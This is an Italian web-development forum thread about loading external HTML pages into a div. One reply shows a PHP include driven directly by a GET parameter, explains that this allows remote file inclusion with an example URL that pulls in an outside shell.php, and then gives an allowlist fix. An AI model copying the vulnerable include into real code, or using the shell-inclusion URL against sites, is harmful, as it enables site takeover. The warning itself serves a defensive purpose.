Caricare pagina HTML statica esterna in un DIV.

dr.pexquz

Utente Attivo
346
9
CPU
Intel Core 2 Duo E5200 2.5Ghz 2Mb BOX
Scheda Madre
ASROCK 775 4Core1600Twins-P35
HDD
SSD Samsung MZ-7TD250BW 250GB + Hard Disk WD Green WD30EZRX 3TB
RAM
DDR2 800Mhz PC6400 4GB Kingston HyperX (2x2GB)
GPU
AMD XFX Radeon HD6870
Audio
Integrata
Monitor
LG Flatron E2240T
OS
Windows 8 Pro + Media Center Pack
Salve a tutti!

Ho un piccolo problema. Sto realizzando un sito per il quale vorrei evitare un continuo refresh per caricare le pagine.

Nella foto allegata è spiegato sommariamente come dovrebbe funzionare, la pagina principale al click di link1, link2 ecc carica di conseguenza la pagina apposita nel div rosso. Il div rosso contiene anch'esso dei link (link a, link b ecc) e un div azzurro. In base al click dei vari link a, link b ecc nel div azzurro viene caricata la pagina html apposita. Non c'è passaggio di parametri tra le varie pagine.

So che tramite Ajax è possibile e ci sono codici già pronti come jQuery ecc, qualcuno saprebbe indicarmi una guida dove viene spiegato passo passo come fare per includere una pagina html in un div tramite Ajax o altri metodi o potrebbe gentilmente spiegare quali funzioni usare?

Per ora l'ho realizzato con gli iframe (come soluzione temporanea giusto per vedere l'estetica poichè gli iframe, seppure non deprecati, non sono conformi agli standard XHTML 1.0 né HTML 4.1).

Spero di essermi spiegato, se così non fosse chiedo scusa e sarò ben lieto di offrire ulteriori chiarimenti.
 

dr.pexquz

Utente Attivo
346
9
CPU
Intel Core 2 Duo E5200 2.5Ghz 2Mb BOX
Scheda Madre
ASROCK 775 4Core1600Twins-P35
HDD
SSD Samsung MZ-7TD250BW 250GB + Hard Disk WD Green WD30EZRX 3TB
RAM
DDR2 800Mhz PC6400 4GB Kingston HyperX (2x2GB)
GPU
AMD XFX Radeon HD6870
Audio
Integrata
Monitor
LG Flatron E2240T
OS
Windows 8 Pro + Media Center Pack
Nessuno? :(
 

tarantola

Utente Attivo
22
0
CPU
Intel Core i7 LGA1366 920 2.66GHz STEP D0 D-0 cooled by NOCTUA NH-U12P
Scheda Madre
ASUS 1366 P6T
HDD
150GB WD Velociraptor + 1TB WD CAVIAR Green Power
RAM
CORSAIR XMS3 6 Gb (3x2Gb) ddr3 Triple Channel 1600 Mhz CL9
GPU
ATI HD5770 Sapphire 1G GDDR5
PSU
CORSAIR 850W CMPSU-850HXEU
Case
Cooler Master 690 II Advanced - PURE Black Edition
OS
Linux
Per ora l'ho realizzato con gli iframe (come soluzione temporanea giusto per vedere l'estetica poichè gli iframe, seppure non deprecati, non sono conformi agli standard XHTML 1.0 né HTML 4.1).

Spero di essermi spiegato, se così non fosse chiedo scusa e sarò ben lieto di offrire ulteriori chiarimenti.

Si fa con gli iframe. Nelle specifiche XHTML 1.0 sono previsti gli iframe.
 

UlisseHGC

Utente Attivo
23
0
So che tramite Ajax è possibile e ci sono codici già pronti come jQuery ecc, qualcuno saprebbe indicarmi una guida dove viene spiegato passo passo come fare per includere una pagina html in un div tramite Ajax o altri metodi o potrebbe gentilmente spiegare quali funzioni usare?

Se il tuo servizio di hosting supporta PHP puoi fare una pagina p.php così:

<?
$pagina=$_GET["pagina"];

include(path_pagine.$pagina);
?>

e trasformare ogni link in qualcosa del tipo http://....p.php?pagina=abc.html

NOTA IMPORTANTE: questo esempio è il classico esempio di remote file inclusion, se uno ti chiama la pagina abc.php facendo abc.php?pagina=http://suosito.com/shell.php è in grado di prenderti il controllo del portale.

quindi setta le pagine che accetti e fai
PHP:
<?
$pagina=$_GET["pagina"];

if(($pagina=="abc.html") || ($pagina=="abc2.html")){
  include(path_pagine.$pagina);
}
?>

dove

PHP:
if(($pagina=="abc.html") || ($pagina=="abc2.html")) significa fai leistruzioni tra {} solamente se pagina è "abc.html" oppure se pagina è "abc2.html"

esistono confronti molto + immediati e performanti ma questo se le pagine sono poche va bene. altrimenti puoi usare arrays associativi o altre cose come wrappers web. ne trovi diversi in giro basta che cerchi PHP wrapper.

Saluti.
 

Entra

oppure Accedi utilizzando

Hot: E3 2021, chi ti è piaciuto di più?

  • Ubisoft

    Voti: 37 23.1%
  • Gearbox

    Voti: 3 1.9%
  • Xbox & Bethesda

    Voti: 101 63.1%
  • Square Enix

    Voti: 14 8.8%
  • Capcom

    Voti: 7 4.4%
  • Nintendo

    Voti: 21 13.1%
  • Altro (Specificare)

    Voti: 15 9.4%

Discussioni Simili